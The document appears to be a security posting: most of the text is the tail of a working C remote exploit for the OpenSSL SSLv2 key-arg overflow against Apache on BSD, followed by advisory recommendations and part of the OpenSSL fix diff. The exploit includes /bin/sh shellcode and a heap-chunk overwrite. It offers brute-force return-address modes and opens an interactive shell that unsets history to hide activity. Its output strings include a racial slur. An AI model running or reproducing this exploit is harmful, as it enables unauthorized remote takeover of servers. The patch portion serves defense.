"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x54" /* pushl %esp */
"\x53" /* pushl %ebx */
"\x50" /* pushl %eax */
"\xb0\x3b" /* movb $0x3b,%al */
"\xcd\x80" /* int $0x80 */
;
/* read and write buffer */
#define BUFSIZE 50000
/* hardcoded protocol stuff */
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16 /* 128 bits */
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
/* straight from the openssl source */
#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2)
/* we keep all SSL2 state in this structure */
typedef struct {
int sock;
/* client stuff */
unsigned char challenge[CHALLENGE_LENGTH];
unsigned char master_key[RC4_KEY_LENGTH];
unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
/* connection id - returned by the server */
int conn_id_length;
unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
/* server certificate */
X509 *x509;
/* session keys */
unsigned char* read_key;
unsigned char* write_key;
RC4_KEY* rc4_read_key;
RC4_KEY* rc4_write_key;
/* sequence numbers, used for MAC calculation */
int read_seq;
int write_seq;
/* set to 1 when the SSL2 handshake is complete */
int encrypted;
} ssl_conn;
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
#define COMMAND2 "unset HISTFILE; uname -a; id; w;\n"
long getip(char *hostname) {
struct hostent *he;
long ipaddr;
if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}
/* mixter's code w/enhancements by core */
int sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
/* Priming commands */
strcpy(snd, COMMAND1 "\n");
write(sockfd, snd, strlen(snd));
strcpy(snd, COMMAND2 "\n");
write(sockfd, snd, strlen(snd));
/* Main command loop */
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if (FD_ISSET(sockfd, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
printf("Good Bye!\n");
return 0;
}
else programexit=1;
if (n < 0) {
perror("read");
return 1;
}
fputs(rcv, stdout);
fflush(stdout); /* keeps output nice */
}
} /* for(;;) */
}
/* Returns the local port of a connected socket */
int get_local_port(int sock)
{
struct sockaddr_in s_in;
unsigned int namelen = sizeof(s_in);
if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
printf("Can't get local port: %s\n", strerror(errno));
exit(1);
}
return s_in.sin_port;
}
/* Connect to a host */
int connect_host(char* host, int port)
{
struct sockaddr_in s_in;
int sock;
// printf("aaa %s %d\n",host,port);
s_in.sin_family = PF_INET;
s_in.sin_addr.s_addr = getip(host);
s_in.sin_port = htons(port);
// printf("aaa\n");
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) <= 0) {
printf("Could not create a socket\n");
exit(1);
}
// printf("aaa\n");
if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
exit(1);
}
// printf("aaa\n");
return sock;
}
/* Create a new ssl conn structure and connect to a host */
ssl_conn* ssl_connect_host(char* host, int port)
{
ssl_conn* ssl;
if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) {
printf("Can't allocate memory\n");
exit(1);
}
/* Initialize some values */
ssl->encrypted = 0;
ssl->write_seq = 0;
ssl->read_seq = 0;
ssl->sock = connect_host(host, port);
return ssl;
}
/* global buffer used by the ssl result() */
char res_buf[30];
/* converts an SSL error code to a string */
char* ssl_error(int code) {
switch (code) {
case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)";
case 0x01: return "SSL2 PE NO CIPHER (0x01)";
case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)";
case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)";
case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)";
default:
sprintf(res_buf, "%02x", code);
return res_buf;
}
}
/* read len bytes from a socket. boring. */
int read_data(int sock, unsigned char* buf, int len)
{
int l;
int to_read = len;
// printf("sock before read = %d\n",sock);
do {
if ((l = read(sock, buf, to_read)) < 0) {
printf("Error in read: %s\n", strerror(errno));
exit(1);
}
to_read -= len;
} while (to_read > 0);
return len;
}
/* reads an SSL packet and decrypts it if necessery */
int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size)
{
int rec_len, padding;
// printf("read_ssl_packet()\n");
// printf("1) before read ssl sock = %d\n",ssl->sock);
read_data(ssl->sock, buf, 2);
if ((buf[0] & 0x80) == 0) {
/* three byte header */
rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
// printf("2) before read ssl sock = %d\n",ssl->sock);
read_data(ssl->sock, &buf[2], 1);
padding = (int)buf[2];
}
else {
/* two byte header */
rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
padding = 0;
}
if ((rec_len <= 0) || (rec_len > buf_size)) {
printf("read_ssl_packet: Record length out of range (rec_len =%d)\n",rec_len);
sslerror=1;return 0; //exit(1);
}
// printf("3) before read ssl sock = %d\n",ssl->sock);
read_data(ssl->sock, buf, rec_len);
if (ssl->encrypted) {
if (MD5_DIGEST_LENGTH + padding >= rec_len) {
if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) {
/* the server didn't switch to encryption due to an error */
return 0;
}
else {
printf("read_ssl_packet: Encrypted message is too short(rec_len = %d)\n",rec_len);
sslerror=1;return 0;//exit(1);
}
}
/* decrypt the encrypted part of the packet */
RC4(ssl->rc4_read_key, rec_len, buf, buf);
/* move the decrypted message in the beginning of the buffer */
rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
}
if (buf[0] == SSL2_MT_ERROR) {
if (rec_len != 3) {
printf("Malformed server error message\n");
sslerror=1;return 0;//exit(1);
}
else {
return 0;
}
}
return rec_len;
}
/* send an ssl packet, encrypting it if ssl->encrypted is set */
void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len)
{
unsigned char buf[BUFSIZE];
unsigned char* p;
int tot_len;
MD5_CTX ctx;
int seq;
if (ssl->encrypted)
tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */
else
tot_len = rec_len;
if (2 + tot_len > BUFSIZE) {
printf("send_ssl_packet: Record length out of range (rec_len =%d)\n",rec_len);
sslerror=1;return;//exit(1);
}
p = buf;
s2n(tot_len, p);
buf[0] = buf[0] | 0x80; /* two byte header */
if (ssl->encrypted) {
/* calculate the MAC */
seq = ntohl(ssl->write_seq);
MD5_Init(&ctx);
MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
MD5_Update(&ctx, rec, rec_len);
MD5_Update(&ctx, &seq, 4);
MD5_Final(p, &ctx);
p+=MD5_DIGEST_LENGTH;
memcpy(p, rec, rec_len);
/* encrypt the payload */
RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
}
else {
memcpy(p, rec, rec_len);
}
send(ssl->sock, buf, 2 + tot_len, 0);
/* the sequence number is incremented by both encrypted and plaintext packets*/
ssl->write_seq++;
}
/* Send a CLIENT HELLO message to the server */
void send_client_hello(ssl_conn *ssl)
{
int i;
unsigned char buf[BUFSIZE] =
"\x01" /* client hello msg */
"\x00\x02" /* client version */
"\x00\x18" /* cipher specs length */
"\x00\x00" /* session id length */
"\x00\x10" /* challenge length */
"\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */
"\x80\x01\x00\x80\x08\x00\x80\x06"
"\x00\x40\x04\x00\x80\x02\x00\x80"
""; /* session id data */
/* generate CHALLENGE LENGTH bytes of challenge data */
for (i = 0; i < CHALLENGE_LENGTH; i++) {
ssl->challenge[i] = (unsigned char) (rand() >> 24);
}
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}
/* Get a SERVER HELLO response from the server */
void get_server_hello(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
unsigned char *p, *end;
int len;
int server_version, cert_length, cs_length, conn_id_length;
int found;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len < 11) {
printf("get_server_hello: Packet too short (len = %d)\n", len);
sslerror=1;return ;// exit(1);
}
p = buf;
if (*(p++) != SSL2_MT_SERVER_HELLO) {
printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got%x\n",(int)p[-1]);
sslerror=1;return ;// exit(1);
}
if (*(p++) != 0) {
printf("get_server_hello: SESSION-ID-HIT is not 0\n");
sslerror=1;return ;// exit(1);
}
if (*(p++) != 1) {
printf("get_server_hello: CERTIFICATE-TYPE is not SSL CTX509CERTIFICATE\n");
sslerror=1;return ;// exit(1);
}
n2s(p, server_version);
if (server_version != 2) {
printf("get_server_hello: Unsupported server version %d\n", server_version);
sslerror=1;return ;// exit(1);
}
n2s(p, cert_length);
n2s(p, cs_length);
n2s(p, conn_id_length);
if (len != 11 + cert_length + cs_length + conn_id_length) {
printf("get_server_hello: Malformed packet size\n");
sslerror=1;return ;// exit(1);
}
/* read the server certificate */
ssl->x509 = NULL;
ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
if (ssl->x509 == NULL) {
printf("get server hello: Cannot parse x509 certificate\n");
sslerror=1;return ;// exit(1);
}
if (cs_length % 3 != 0) {
printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
sslerror=1;return ;// exit(1);
}
found = 0;
for (end=p+cs_length; p < end; p += 3) {
if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
found = 1; /* SSL CK RC4 128 WITH MD5 */
}
if (!found) {
printf("get server hello: Remote server does not support 128 bit RC4\n");
sslerror=1;return ;// exit(1);
}
if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
sslerror=1;return ;// exit(1);
}
/* The connection id is sent back to the server in the CLIENT FINISHED packet*/
ssl->conn_id_length = conn_id_length;
memcpy(ssl->conn_id, p, conn_id_length);
}
/* Send a CLIENT MASTER KEY message to the server */
void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite,int
key_arg_overwrite_len) {
int encrypted_key_length, key_arg_length, record_length;
unsigned char* p;
int i;
EVP_PKEY *pkey=NULL;
unsigned char buf[BUFSIZE] =
"\x02" /* client master key message */
"\x01\x00\x80" /* cipher kind */
"\x00\x00" /* clear key length */
"\x00\x40" /* encrypted key length */
"\x00\x08"; /* key arg length */
p = &buf[10];
/* generate a 128 byte master key */
for (i = 0; i < RC4_KEY_LENGTH; i++) {
ssl->master_key[i] = (unsigned char) (rand() >> 24);
}
pkey=X509_get_pubkey(ssl->x509);
if (!pkey) {
printf("send client master key: No public key in the server certificate\n");
sslerror=1;return ;// exit(1);
}
if (pkey->type != EVP_PKEY_RSA) {
printf("send client master key: The public key in the server certificate is not a RSA key\n");
sslerror=1;return ;// exit(1);
}
/* Encrypt the client master key with the server public key and put it in thepacket
*/
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key,&buf[10],pkey->pkey.rsa, RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) {
printf("send client master key: RSA encryption failure\n");
sslerror=1;return ;// exit(1);
}
p += encrypted_key_length;
if (key_arg_overwrite) {
/* These 8 bytes fill the key arg array on the server */
for (i = 0; i < 8; i++) {
*(p++) = (unsigned char) (rand() >> 24);
}
/* This overwrites the data following the key arg array */
memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
key_arg_length = 8 + key_arg_overwrite_len;
}
else {
key_arg_length = 0; /* RC4 doesn't use KEY-ARG */
}
p = &buf[6];
s2n(encrypted_key_length, p);
s2n(key_arg_length, p);
record_length = 10 + encrypted_key_length + key_arg_length;
send_ssl_packet(ssl, buf, record_length);
/* all following messages should be encrypted */
ssl->encrypted = 1;
}
/* Generate the key material using the algorithm described in the SSL2specification */
void generate_key_material(ssl_conn* ssl)
{
unsigned int i;
MD5_CTX ctx;
unsigned char *km;
unsigned char c='0';
km=ssl->key_material;
for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
MD5_Init(&ctx);
MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
MD5_Update(&ctx,&c,1);
c++;
MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
MD5_Final(km,&ctx);
km+=MD5_DIGEST_LENGTH;
}
}
/* Generate the RC4 session read and write keys */
void generate_session_keys(ssl_conn* ssl)
{
generate_key_material(ssl);
ssl->read_key = &(ssl->key_material[0]);
ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}
/* Get a SERVER VERIFY response from the server */
void get_server_verify(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (len != 1 + CHALLENGE_LENGTH) {
printf("get server verify: Malformed packet size\n");
sslerror=1;return ;// exit(1);
}
if (buf[0] != SSL2_MT_SERVER_VERIFY) {
printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n",(int)buf[0]);
sslerror=1;return ;// exit(1);
}
/* If this works, our decryption key is correct */
if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
printf("get server verify: Challenge strings don't match\n");
sslerror=1;return ;// exit(1);
}
}
/* Send a CLIENT FINISHED message to the server */
void send_client_finished(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
buf[0] = SSL2_MT_CLIENT_FINISHED;
memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}
/* Get a SERVER FINISHED message from the server */
void get_server_finished(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
int i;
if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
exit(1);
}
if (buf[0] != SSL2_MT_SERVER_FINISHED) {
printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n",(int)buf[0]);
sslerror=1;return ;// exit(1);
}
if (len <= 112 /*17*/) {
printf("This server is not vulnerable to this attack.\n");
sslerror=1;return ;// exit(1);
}
printf("Session:\n");
printf("0000 - ");
for (i = 1; i < len; i++) {
printf("%02x ", (unsigned int)buf[i]);
if (i % 16 == 0) printf("\n%04x - ", i);
}
printf("\n");
cipher = *(int*)&buf[101];
ciphers = *(int*)&buf[109];
printf("cipher: 0x%x ciphers: 0x%x\n", cipher, ciphers);
}
void get_server_error(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
int len;
if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
printf("get server finished: Expected SSL2 MT ERROR, got %x\n",
(int)buf[0]);
sslerror=1;return ;// exit(1);
}
}
void usage(char* argv0)
{
int i = 0;
printf(": Usage: %s <-h hostname> [-t arch] [-p port] [-c N] [-b 0x<address>][-brute]\n", argv0);
printf(" Supported architectures:\n");
while(architectures[i].desc) {
if(architectures[i].desc)
printf("\t0x%02x - %s\n", i, architectures[i].desc);
i++;
}
printf("\nUse the -c option to open N connections before sending the shellcode.\n");
printf("-b: brute by using start address that will be decrimenting by -4 ;)\n");
printf("-brute: faster brute by using targets in exploit (t.i. 0x00, 0x01,etc.)\n");
exit(1);
}
/* run, code, run */
int main(int argc, char* argv[])
{
char* host = NULL;
int port = 443, portcpy=443;
int i,j;
int arch;
int N = 0;
ssl_conn* ssl1;
ssl_conn* ssl2;
int brute=0,xbrute=0;
long retaddr;
int sckmass[500];
printf(": openssl-too-open.c - OpenSSL remote apache exploit For BSD\n");
// if ((argc < 3) || (argc > 6))
// usage(argv[0]);
//
// /* pff... use getopt next time, fool */
// sscanf(argv[1], "0x%x", &arch);
// if ((arch < 0) || (arch > MAX_ARCH))
// usage(argv[0]);
// host = argv[4];
// if (argc == 2)
// port = atoi(argv[3]);
// else if (argc == 5) {
// if (strcmp(argv[3], "-c"))
// usage(argv[0]);
// N = atoi(argv[4]);
// }
// else if (argc == 6) {
// port = atoi(argv[3]);
// if (strcmp(argv[4], "-c"))
// usage(argv[0]);
// N = atoi(argv[5]);
// }
/* this part will be much better ;) */
for(j=0;j<argc;j++) {
if(strcmp(argv[j],"-b")==0) {sscanf(argv[j+1],"0x%x",&retaddr); brute=1;}
if(strcmp(argv[j],"-t")==0) {sscanf(argv[j+1],"0x%x",&arch);
if ((arch < 0) || (arch > MAX_ARCH))
usage(argv[0]);}
if(strcmp(argv[j],"-h")==0) {host = argv[j+1];}
if(strcmp(argv[j],"-p")==0) {portcpy = atoi(argv[j+1]);}
if(strcmp(argv[j],"-c")==0) {N = atoi(argv[j+1]);}
if(strcmp(argv[j],"-brute")==0) { xbrute=1; }
}
if(host==NULL) usage(argv[0]);
if(xbrute) retaddr=-1;
port=portcpy;
srand(0x31337);
/* Open N connections before sending the shellcode. Hopefully this will
use up all available apache children and the shellcode will be handled
by a freshly spawned one */
j=0;
for (i=0; i<N; i++) {
printf("\rOpening connections... %d of %d", i+1, N);
fflush(stdout);
sckmass[j++]=connect_host(host, port);
usleep(100000);
}
if (N) printf("\n");
/* Establish the first connection. Overwrite session id length, and read
the session contents in the SERVER FINISHED packet. We need the cipher
and ciphers variables from the session structure to make the shellcode
work */
printf("Establishing SSL connection - Are you jackin?\n");
/*BRUTE FORCE MODE*/
if(brute || xbrute) {
printf("\n[Brute Force Mode Enabled, fuqn werd :)]\n\n");
while( (retaddr >= 8000000) || (xbrute) ) {
ssl1 = ssl_connect_host(host, port);
ssl2 = ssl_connect_host(host, port);
// printf("ssl1 = %d, ssl2 = %d\n",ssl1,ssl2);
send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1,overwrite_session_id_length,sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);
/* The second connection uses the ciphers variable to get the shellcode
address and sends the shellcode to server */
printf("You better be ready to send shellcode, motherfucker\n"
"Cuz we gonna jack the fuckin ACID!@$!@$\n");
port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
/* We must overwrite s->session->cipher with its original value */
*(int*)&overwrite_next_chunk[156] = cipher;
/* The fd and bk pointers of the fake malloc chunk */
if(xbrute) {
retaddr++;
if(architectures[retaddr].func_addr==0) exit(1);
printf("[*] trying target 0x%x[0x%x]\n",retaddr,architectures[retaddr].func_addr);
*(int*)&overwrite_next_chunk[192] = architectures[retaddr].func_addr- 12;
}
else{
retaddr-=4;
printf("[*] trying 0x%x\n",retaddr);
*(int*)&overwrite_next_chunk[192] = retaddr;
}
*(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2,overwrite_next_chunk,sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);
/* overwrite the connection id with random bytes, causing the server toabortthe connection */
for (i = 0; i < ssl2->conn_id_length; i++) {
ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
}
send_client_finished(ssl2);
get_server_error(ssl2);
if(sslerror==0) {
printf("Nigga plz...\n");
sleep(1);
sh(ssl2->sock);
}else sslerror=0;
close(ssl2->sock);
close(ssl1->sock);
port=portcpy;
for(j=0;j<N;j++) close(sckmass[j]);
if(programexit) exit(1);
srand(0x31337);
/* Open N connections before sending the shellcode. Hopefully this will
use up all available apache children and the shellcode will be handled
by a freshly spawned one */
j=0;
for (i=0; i<N; i++) {
printf("\rOpening connections... %d of %d", i+1, N);
fflush(stdout);
sckmass[j++]=connect_host(host, port);
usleep(100000);
}
if (N) printf("\n");
/* Establish the first connection. Overwrite session id length, and read
the session contents in the SERVER FINISHED packet. We need the cipher
and ciphers variables from the session structure to make the shellcode
work */
printf("Establishing SSL connection\n");
}
}
/*END BRUTE FORCE*/
else {
ssl1 = ssl_connect_host(host, port);
ssl2 = ssl_connect_host(host, port);
send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1,overwrite_session_id_length,sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);
/* The second connection uses the ciphers variable to get the shellcode
address and sends the shellcode to server */
printf("Ready to send shellcode\n");
port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
/* We must overwrite s->session->cipher with its original value */
*(int*)&overwrite_next_chunk[156] = cipher;
/* The fd and bk pointers of the fake malloc chunk */
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16; /* shellcode address */
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2,overwrite_next_chunk,sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);
/* overwrite the connection id with random bytes, causing the server toabortthe connection */
for (i = 0; i < ssl2->conn_id_length; i++) {
ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
}
send_client_finished(ssl2);
get_server_error(ssl2);
printf("Spawning shell...\n");
sleep(1);
sh(ssl2->sock);
close(ssl2->sock);
close(ssl1->sock);
for(j=0;j<N;j++) close(sckmass[j]);
}
return 0;
}
/* EOF */
SOLUTION
Adv 1
=====
Recommendations
---------------
Apply the attached patch to OpenSSL 0.9.6d, or upgrade to OpenSSL
0.9.6e. Recompile all applications using OpenSSL to provide SSL or TLS.
A patch for 0.9.7 is available from the OpenSSL website
(http://www.openssl.org/).
Servers can disable SSL2, alternatively disable all applications using
SSL or TLS until the patches are applied. Users of 0.9.7 pre-release
versions with Kerberos enabled will also have to disable Kerberos.
Client should be disabled altogether until the patches are applied.
Adv 2
=====
Recommendations
---------------
Apply the patch to OpenSSL, or upgrade to OpenSSL 0.9.6e. Recompile all
applications using OpenSSL.
Users of 0.9.7 pre-release versions should apply the patch or upgrade
to 0.9.7-beta3 or later. Recompile all applications using OpenSSL.
Patches
=======
Index: CHANGES
===================================================================
RCS file: /e/openssl/cvs/openssl/CHANGES,v
retrieving revision 1.618.2.158
diff -u -r1.618.2.158 CHANGES
--- CHANGES 2002/05/09 22:40:31 1.618.2.158
+++ CHANGES 2002/07/30 09:14:15
@@ -2,6 +2,35 @@
OpenSSL CHANGES
_______________
+ Changes in security patch
+
+Changes marked "(CHATS)" were sponsored by the Defense Advanced
+Research Projects Agency (DARPA) and Air Force Research Laboratory,
+Air Force Materiel Command, USAF, under agreement number
+F30602-01-2-0537.
+
+ *) Add various sanity checks to asn1_get_length() to reject
+ the ASN1 length bytes if they exceed sizeof(long), will appear
+ negative or the content length exceeds the length of the
+ supplied buffer. (CAN-2002-0659)
+ [Steve Henson, Adi Stav <stav@mercury.co.il>, James Yonan <jim@ntlp.com>]
+
+ *) Assertions for various potential buffer overflows, not known to
+ happen in practice.
+ [Ben Laurie (CHATS)]
+
+ *) Various temporary buffers to hold ASCII versions of integers were
+ too small for 64 bit platforms. (CAN-2002-0655)
+ [Matthew Byng-Maddick <mbm@aldigital.co.uk> and Ben Laurie (CHATS)>
+
+ *) Remote buffer overflow in SSL3 protocol - an attacker could
+ supply an oversized session ID to a client. (CAN-2002-0656)
+ [Ben Laurie (CHATS)]
+
+ *) Remote buffer overflow in SSL2 protocol - an attacker could
+ supply an oversized client master key. (CAN-2002-0656)
+ [Ben Laurie (CHATS)]
+
Changes between 0.9.6c and 0.9.6d [9 May 2002]
*) Fix crypto/asn1/a_sign.c so that 'parameters' is omitted (not
Index: crypto/cryptlib.c
===================================================================
RCS file: /e/openssl/cvs/openssl/crypto/cryptlib.c,v
retrieving revision 1.20.2.4
diff -u -r1.20.2.4 cryptlib.c
--- crypto/cryptlib.c 2001/11/23 20:57:59 1.20.2.4
+++ crypto/cryptlib.c 2002/07/30 09:14:15
@@ -491,3 +491,11 @@
#endif
#endif
+
+void OpenSSLDie(const char *file,int line,const char *assertion)
+ {
+ fprintf(stderr,"%s(%d): OpenSSL internal error, assertion failed: %sn",
+ file,line,assertion);
+ abort();
+ }
+
Index: crypto/cryptlib.h
===================================================================
RCS file: /e/openssl/cvs/openssl/crypto/cryptlib.h,v
retrieving revision 1.8
diff -u -r1.8 cryptlib.h
--- crypto/cryptlib.h 2000/05/02 12:35:04 1.8
+++ crypto/cryptlib.h 2002/07/30 09:14:16
@@ -89,6 +89,14 @@
#define X509_CERT_DIR_EVP "SSL_CERT_DIR"
#define X509_CERT_FILE_EVP "SSL_CERT_FILE"
+/* size of string represenations */
+#define DECIMAL_SIZE(type) ((sizeof(type)*8+2)/3+1)
+#define HEX_SIZE(type) ((sizeof(type)*2)
+
+/* die if we have to */
+void OpenSSLDie(const char *file,int line,const char *assertion);
+#define die(e) ((e) ? (void)0 : OpenSSLDie(__FILE__, __LINE__, #e))
+
#ifdef __cplusplus
}
#endif
Index: crypto/asn1/asn1_lib.c
===================================================================
RCS file: /e/openssl/cvs/openssl/crypto/asn1/asn1_lib.c,v
retrieving revision 1.19.2.1
diff -u -r1.19.2.1 asn1_lib.c
--- crypto/asn1/asn1_lib.c 2001/03/30 13:42:32 1.19.2.1
+++ crypto/asn1/asn1_lib.c 2002/07/30 09:14:17
@@ -124,15 +124,13 @@
(int)(omax+ *pp));
#endif
-#if 0
- if ((p+ *plength) > (omax+ *pp))
+ if (*plength > (omax - (*pp - p)))
{
ASN1err(ASN1_F_ASN1_GET_OBJECT,ASN1_R_TOO_LONG);
/* Set this so that even if things are not long enough
* the values are set correctly */
ret|=0x80;
}
-#endif
*pp=p;
return(ret|inf);
err:
@@ -159,6 +157,8 @@
i= *p&0x7f;
if (*(p++) & 0x80)
{
+ if (i > sizeof(long))
+ return 0;
if (max-- == 0) return(0);
while (i-- > 0)
{
@@ -170,6 +170,8 @@
else
ret=i;
}
+ if (ret < 0)
+ return 0;
*pp=p;
*rl=ret;
return(1);
@@ -407,7 +409,7 @@
void asn1_add_error(unsigned char *address, int offset)
{
- char buf1[16],buf2[16];
+ char buf1[DECIMAL_SIZE(address)+1],buf2[DECIMAL_SIZE(offset)+1];
sprintf(buf1,"%lu",(unsigned long)address);
sprintf(buf2,"%d",offset);
Index: crypto/conf/conf_def.c
===================================================================
RCS file: /e/openssl/cvs/openssl/crypto/conf/conf_def.c,v
retrieving revision 1.3
diff -u -r1.3 conf_def.c
--- crypto/conf/conf_def.c 2000/06/06 15:21:12 1.3
+++ crypto/conf/conf_def.c 2002/07/30 09:14:18
@@ -67,6 +67,7 @@
#include "conf_def.h"
#include <openssl/buffer.h>
#include <openssl/err.h>
+#include "cryptlib.h"
static char *eat_ws(CONF *conf, char *p);
static char *eat_alpha_numeric(CONF *conf, char *p);
@@ -180,12 +181,12 @@
static int def_load(CONF *conf, BIO *in, long *line)
{
#define BUFSIZE 512
- char btmp[16];
int bufnum=0,i,ii;
BUF_MEM *buff=NULL;
char *s,*p,*end;
int again,n;
long eline=0;
+ char btmp[DECIMAL_SIZE(eline)+1];
CONF_VALUE *v=NULL,*tv;
CONF_VALUE *sv=NULL;
char *section=NULL,*buf;
Index: crypto/objects/obj_dat.c
===================================================================
RCS file: /e/openssl/cvs/openssl/crypto/objects/obj_dat.c,v
retrieving revision 1.16.2.2
diff -u -r1.16.2.2 obj_dat.c
--- crypto/objects/obj_dat.c 2002/04/18 11:52:28 1.16.2.2
+++ crypto/objects/obj_dat.c 2002/07/30 09:14:19
@@ -428,7 +428,7 @@
unsigned long l;
unsigned char *p;
const char *s;
- char tbuf[32];
+ char tbuf[DECIMAL_SIZE(i)+DECIMAL_SIZE(l)+2];
if (buf_len <= 0) return(0);
Index: ssl/s2_clnt.c
===================================================================
RCS file: /e/openssl/cvs/openssl/ssl/s2_clnt.c,v
retrieving revision 1.27.2.4
diff -u -r1.27.2.4 s2_clnt.c
--- ssl/s2_clnt.c 2001/11/10 10:43:51 1.27.2.4
+++ ssl/s2_clnt.c 2002/07/30 09:14:25
@@ -116,6 +116,7 @@
#include <openssl/buffer.h>
#include <openssl/objects.h>
#include <openssl/evp.h>
+#include "cryptlib.h"
